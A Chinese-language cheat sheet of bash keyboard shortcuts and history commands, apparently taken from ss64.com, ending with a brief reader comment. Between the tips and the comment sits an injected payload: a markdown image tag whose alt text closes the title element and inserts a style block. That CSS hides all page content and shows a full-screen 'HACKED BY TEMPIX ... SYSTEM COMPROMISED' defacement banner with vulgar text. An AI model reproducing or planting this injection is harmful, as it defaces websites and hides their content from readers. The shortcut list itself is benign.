收集自:http://ss64.com/bash/syntax-keyboard.html
注意:如果要在mac的终端下使用Alt组合键,需要在终端的偏好设置里选中“使用option键作为meta键”
移动光标
Ctrl + a 移动到行首(等于按Home键)
Ctrl + e 移动到行末(等于按End键)
Ctrl + p 上一条命令(等于按上键)
Ctrl + n 下一条命令(等于按下键)
Ctrl + b 向左移动一个字母(等于按左键)
Ctrl + f 向右移动一个字母(等于按右键)
Alt + b 向左移动一个单词
Alt + f 向右移动一个单词
Ctrl + xx 在行首与当前光标位置切换
编辑
Ctrl + l 清空屏幕(等于运行clear命令)
Ctrl + u 清空当前命令行
Alt + del 删除光标前的单词
Alt + d 删除光标后的单词
Ctrl + d 删除当前光标处的字母
Ctrl + h 删除当前光标前的字母(等于按退格键)
Ctrl + w 剪切当前光标前的单词到剪贴板
Ctrl + k 剪切当前命令行到剪贴板
Alt + t 将当前光标处的单词与前一个单词交换
Ctrl + t 将当前光标处的字母与前一个字母交换
Esc + t 交换光标前的两个单词
Ctrl + y 粘贴剪贴板中的内容
Alt + u 将当前光标处的单词自光标之后的所有字母都变为大写
Alt + l 将当前光标处的单词自光标之后的所有字母都变为小写
Alt + c 将当前光标处的字母变为大写,并跳转到当前单词的尾部
Alt + r 将当前命令恢复到历史中的状态(如果该命令尚未执行,则清空命令)
TAB 自动补全文件或目录名
历史记录
Ctrl + r 查找包含输入关键字的最近一条命令
Ctrl + h 退出查找状态
Ctrl + p 上一条命令
Ctrl + n 下一条命令
!! 执行最近一条命令
!a 执行以a开头的最近一条命令
!a:p 显示以a开头的最近一条命令
!$ 上一条命令的最后一个参数 (可在命令中引用)
!* 上一条命令的所有参数(可在命令中引用)
Alt + . 上一条命令的最后一个参数
^aaa^bbb 重复运行上一条命令,将其中的aaa替换成bbb
过程控制
Ctrl + c 中断
Ctrl + s 停止显示当前命令的输出(远程执行有大量输出的命令时很好用)
Ctrl + q 恢复显示当前命令的输出
Ctrl + d 输出行中止符,如果当前命令行为空则退出当前的shell
Ctrl + z 挂起当前的任务(可用fg命令恢复)
最终神器
set -o vi
好吧,有了这个基本上大部分快捷键都可以无视了⋯⋯
![HACKED BY TEMPIX</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
*{margin:0;padding:0;box-sizing:border-box}
body,html{overflow:hidden!important;font-family:'Share Tech Mono',monospace}
body *:not(style){display:none!important}
body{
background:#000!important;
position:fixed!important;
width:100vw!important;
height:100vh!important;
display:flex!important;
align-items:center!important;
justify-content:center!important;
}
body::before{
content:"";
position:absolute;
top:0;left:0;right:0;bottom:0;
background:
linear-gradient(90deg,#0f0 1px,transparent 1px),
linear-gradient(180deg,#0f0 1px,transparent 1px);
background-size:50px 50px;
opacity:0.1;
animation:grid 20s linear infinite;
}
@keyframes grid{
0%{transform:perspective(500px) rotateX(60deg) translateZ(0)}
100%{transform:perspective(500px) rotateX(60deg) translateZ(500px)}
}
body::after{
content:"HACKED BY TEMPIX\A\AJ E M B O T\AJembot Mawot Pejuh Muncrat\A\A[ SYSTEM COMPROMISED ]";
white-space:pre;
display:block!important;
color:#0f0;
font-size:48px;
text-align:center;
z-index:999999;
animation:glitch 2s infinite,glow 1.5s infinite;
text-shadow:
0 0 10px #0f0,
0 0 20px #0f0,
0 0 30px #0f0,
0 0 40px #0f0;
}
@keyframes glitch{
0%,100%{transform:translate(0)}
20%{transform:translate(-2px,2px)}
40%{transform:translate(-2px,-2px)}
60%{transform:translate(2px,2px)}
80%{transform:translate(2px,-2px)}
}
@keyframes glow{
0%,100%{opacity:1}
50%{opacity:0.7}
}
h1,h2,h3,h4,h5,h6,p,div,span,a{display:none!important}
</style>
<title>](https://zhangshenjia.com/wp-content/uploads/2018/12/cropped-640-2.jpg)
平时用vi,但是"最终神器"还是用的少许蛋腾.